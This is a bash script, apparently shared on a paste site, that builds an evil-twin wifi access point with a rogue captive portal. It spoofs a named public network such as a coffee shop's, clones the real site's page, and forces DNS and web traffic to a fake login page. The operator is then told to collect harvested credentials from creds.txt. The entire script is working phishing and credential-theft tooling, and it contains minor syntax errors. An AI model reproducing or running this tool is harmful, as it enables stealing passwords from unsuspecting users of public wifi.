0365_Captive.sh 3.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114
  1. #!/bin/bash/
  2. echo -e ${green}"Which interface do you want to use as your AP NIC? Example: wlan1"${clear}
  3. echo ""
  4. read AP
  5. echo""
  6. echo -e ${yellow}"Using $AP as your AP interface"${clear}
  7. echo ""
  8. sleep 1
  9. echo -e ${green}"What is the Wifi network you want to spoof? Example: Starbucks Corporate Wifi"${clear}
  10. echo ""
  11. read SSID
  12. sleep 1
  13. echo ""
  14. echo -e ${yellow}"Using $SSID as your spoofed network"${clear}
  15. sleep 1
  16. echo ""
  17. echo -e ${green}"What is the domain you want to spoof on your network? Example: starbucks.com"${clear}
  18. echo ""
  19. read domain
  20. echo ""
  21. sleep 1
  22. echo -e ${yellow}"Using $domain as your spoofed domain"${clear}
  23. sleep 1
  24. echo ""
  25. echo -e ${green}"Enter Website URL To Clone. Example: https://www.starbucks.com"${clear}
  26. echo ""
  27. read URL
  28. echo ""
  29. echo -e ${yellow}"Cloning $URL"${clear}
  30. echo ""
  31. systemctl stop dnsmasq
  32. /usr/bin/chromium-browser --no-sandbox 2>/dev/null
  33. runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
  34. echo ""
  35. echo ${yellow}"Cloning finished"${clear}
  36. echo ""
  37. echo -e ${yellow}"$URL Cloned Successfully"${clear}
  38. sleep 2
  39. #Copying Resources
  40. cp Resources/hosts . 2>/dev/null
  41. cp Resources/dnsmasq.conf . 2>/dev/null
  42. cp Resources/hostapd.conf . 2>/dev/null
  43. cp Resources/index.html . 2>/dev/null
  44. cp Resources/authenticate.html . 2>/dev/null
  45. cp Resources/post.php . 2>/dev/null
  46. #Replacing Variables In Files
  47. sed -i "s/domain/${domain}g/" post.php
  48. sed -i "s/domain/${domain}/g" index.html
  49. sed -i "s/10.1.1.1/${domain}/g" dnsmasq.conf
  50. sed -i "s/AP/${AP}/g" hostapd.conf
  51. sed -i "s/SSID/${SSID}/g" hostapd.conf
  52. sed -i "s/domain/${domain}/g" authenticate.html
  53. sed -i "s/domain/${domain}/g" hosts
  54. #Replaceing Resources
  55. rm /etc/hostapd/hostapd.conf 2>/dev/null
  56. mv hostapd.conf /etc/hostapd/hostapd.conf
  57. mv index.html /var/www/html/redirect/
  58. mv authenticate.html /var/www/html/
  59. mv post.php /var/www/html/
  60. mv hosts /etc/hosts
  61. echo ""
  62. sleep 1
  63. echo -e ${green}"Moving Your Index.html File Into Apache"${clear}
  64. echo ""
  65. mv /home/pi/index.html /var/www/html/index.html
  66. echo -e ${green}"Starting Apache"${clear}
  67. service apache2 start
  68. sleep 1
  69. echo ""
  70. echo -e ${green}"Changing $AP MAC Address"${clear}
  71. echo ""
  72. ifconfig $AP down
  73. macchanger -A $AP
  74. sleep 1
  75. ifconfig $AP up
  76. sleep 1
  77. echo ""
  78. echo -e ${green}"Configuring $AP Into An Access Point"${clear}
  79. echo ""
  80. hostapd -B /etc/hostapd/hostapd.conf
  81. sleep 2
  82. echo ""
  83. echo -e ${green}"Bringing Up The Bridge"${clear}
  84. echo ""
  85. ifconfig br0 up
  86. sleep 2
  87. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  88. sysctl net.ipv4.ip_forward=1
  89. echo ""
  90. echo -e ${green}"Copying Redirect Into Cloned Page"${clear}
  91. echo ""
  92. echo "<meta http-equiv="refresh" content=2;URL='http://${domain}/authenticate.html'>">> /var/www/html/index.html
  93. echo -e ${green}"Setting IPTables"${clear}
  94. iptables --flush
  95. iptables -t nat --flush
  96. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  97. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  98. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  99. iptables -t nat -A POSTROUTING -j MASQUERADE
  100. sleep 2
  101. echo ""
  102. echo -e ${green}"Starting Rouge DNS"${clear}
  103. service dnsmasq start
  104. sleep 4
  105. echo ""
  106. echo -e ${red}"Access Point Should Be Up. Watch /var/www/html/creds.txt For Creds"${clear}
  107. echo ""
  108. sleep 2